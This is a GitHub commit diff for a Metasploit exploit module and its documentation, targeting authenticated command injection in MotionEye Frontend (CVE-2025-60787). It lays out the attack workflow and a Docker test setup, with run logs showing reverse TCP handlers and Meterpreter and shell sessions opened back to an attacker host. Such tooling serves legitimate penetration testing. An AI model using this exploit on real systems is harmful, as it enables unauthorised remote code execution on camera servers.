You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: documentation/modules/exploit/multi/http/motioneye_auth_rce_cve_2025_60787.md
+20-19Lines changed: 20 additions & 19 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -5,21 +5,22 @@ This module exploits a template injection vulnerability in the [MotionEye Fronte
5
5
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as `image_file_name`.
6
6
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
7
7
8
-
Exploit workflow:
9
-
1. Adds a new camera in MotionEye Frontend.
10
-
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
11
-
3. Captures a screenshot, triggering the payload.
12
-
13
-
Successful exploitation may result in the remote code execution as the user running
14
-
of the web server, potentially exposing sensitive data or disrupting survey operations.
8
+
Successful exploitation will result in the command executing as the user running
9
+
the web server, potentially exposing sensitive data or disrupting survey operations.
15
10
16
11
An attacker can execute arbitrary system commands in the context of the user running the web server.
17
12
13
+
## Exploit Workflow
14
+
15
+
1. Adds a new camera in MotionEye Frontend.
16
+
2. Injects the payload into the image_file_name field (used for naming camera screenshots).
17
+
3. Captures a screenshot ("snapshot" in the terminology of MotionEye), triggering the payload.
18
+
18
19
## Testing
19
20
20
21
1. Use Docker to set up the MotionEye app
21
22
22
-
`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:718171663d28f04f2fb97244f8ef03a814367b06078fc00685acc47f61663890`
23
+
`docker run -p 9999:8765 ghcr.io/motioneye-project/motioneye@sha256:2dcc3c4da1830ef824067375b2e022fa28c5fdbca773f5496bd35543ec45bef7`
23
24
24
25
2. Open http://127.0.0.1:9999/ and make sure the app is available
25
26
@@ -43,15 +44,15 @@ msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
43
44
[*] Started reverse TCP handler on 192.168.19.130:4444
44
45
[*] Running automatic check ("set AutoCheck false" to disable)
45
46
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
46
-
[*] Adding camera...
47
+
[*] Adding malicious camera...
47
48
[+] Camera successfully added
48
49
[*] Setting up exploit...
49
-
[+] Exploit installation completed
50
-
[*] Executing exploit...
51
-
[+] Execution exploit request sent successfully
52
-
[*] Removing camera
50
+
[+] Exploit setup complete
51
+
[*] Triggering exploit...
52
+
[+] Exploit triggered, waiting for session...
53
53
[*] Sending stage (3045380 bytes) to 172.17.0.2
54
54
[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 172.17.0.2:38124) at 2025-10-04 21:08:57 -0400
55
+
[*] Removing camera
55
56
[+] Camera removed successfully
56
57
57
58
meterpreter > sysinfo
@@ -78,15 +79,15 @@ msf6 exploit(multi/http/motioneye_auth_rce_cve_2025_60787) > run
78
79
[*] Started reverse TCP handler on 192.168.19.130:4444
79
80
[*] Running automatic check ("set AutoCheck false" to disable)
80
81
[+] The target appears to be vulnerable. Detected version 0.43.14, which is vulnerable
81
-
[*] Adding camera...
82
+
[*] Adding malicious camera...
82
83
[+] Camera successfully added
83
84
[*] Setting up exploit...
84
-
[+] Exploit installation completed
85
-
[*] Executing exploit...
86
-
[+] Execution exploit request sent successfully
85
+
[+] Exploit setup complete
86
+
[*] Triggering exploit...
87
+
[+] Exploit triggered, waiting for session...
88
+
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
87
89
[*] Removing camera
88
90
[+] Camera removed successfully
89
-
[*] Command shell session 1 opened (192.168.19.130:4444 -> 172.17.0.2:60160) at 2025-10-06 04:46:34 -0400
Copy file name to clipboardExpand all lines: modules/exploits/multi/http/motioneye_auth_rce_cve_2025_60787.rb
+24-20Lines changed: 24 additions & 20 deletions
Original file line number
Diff line number
Diff line change
@@ -20,8 +20,8 @@ def initialize(info = {})
20
20
MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.
21
21
Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.
22
22
23
-
Successful exploitation may result in the remote code execution as the user running
24
-
of the web server, potentially exposing sensitive data or disrupting survey operations.
23
+
Successful exploitation will result in the command executing as the user running
24
+
the web server, potentially exposing sensitive data or disrupting survey operations.
25
25
26
26
An attacker can execute arbitrary system commands in the context of the user running the web server.
27
27
},
@@ -188,20 +188,21 @@ def add_camera
188
188
'method'=>'POST',
189
189
'ctype'=>'application/json',
190
190
'data'=>{
191
-
'scheme'=>'rtsp',
192
-
'host'=>'127.0.0.1',
191
+
'scheme'=>'',
192
+
'host'=>'',
193
193
'port'=>'',
194
194
'path'=>'/',
195
195
'username'=>'',
196
-
'password'=>'',
197
-
'proto'=>'netcam',
198
-
'camera_index'=>'tcp'
196
+
'proto'=>'netcam'
199
197
}.to_json
200
198
)
201
199
202
-
begin
203
-
json_body=JSON.parse(res.body)
204
-
rescueJSON::ParserError
200
+
unlessres && res.code == 200
201
+
fail_with(Failure::UnexpectedReply,"#{peer} Server did not respond with the expected HTTP 200")
202
+
end
203
+
204
+
json_body=res.get_json_document
205
+
unlessjson_body
205
206
fail_with(Failure::UnexpectedReply,'Unable to parse the response')
returnCheckCode::Detected("At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes")
0 commit comments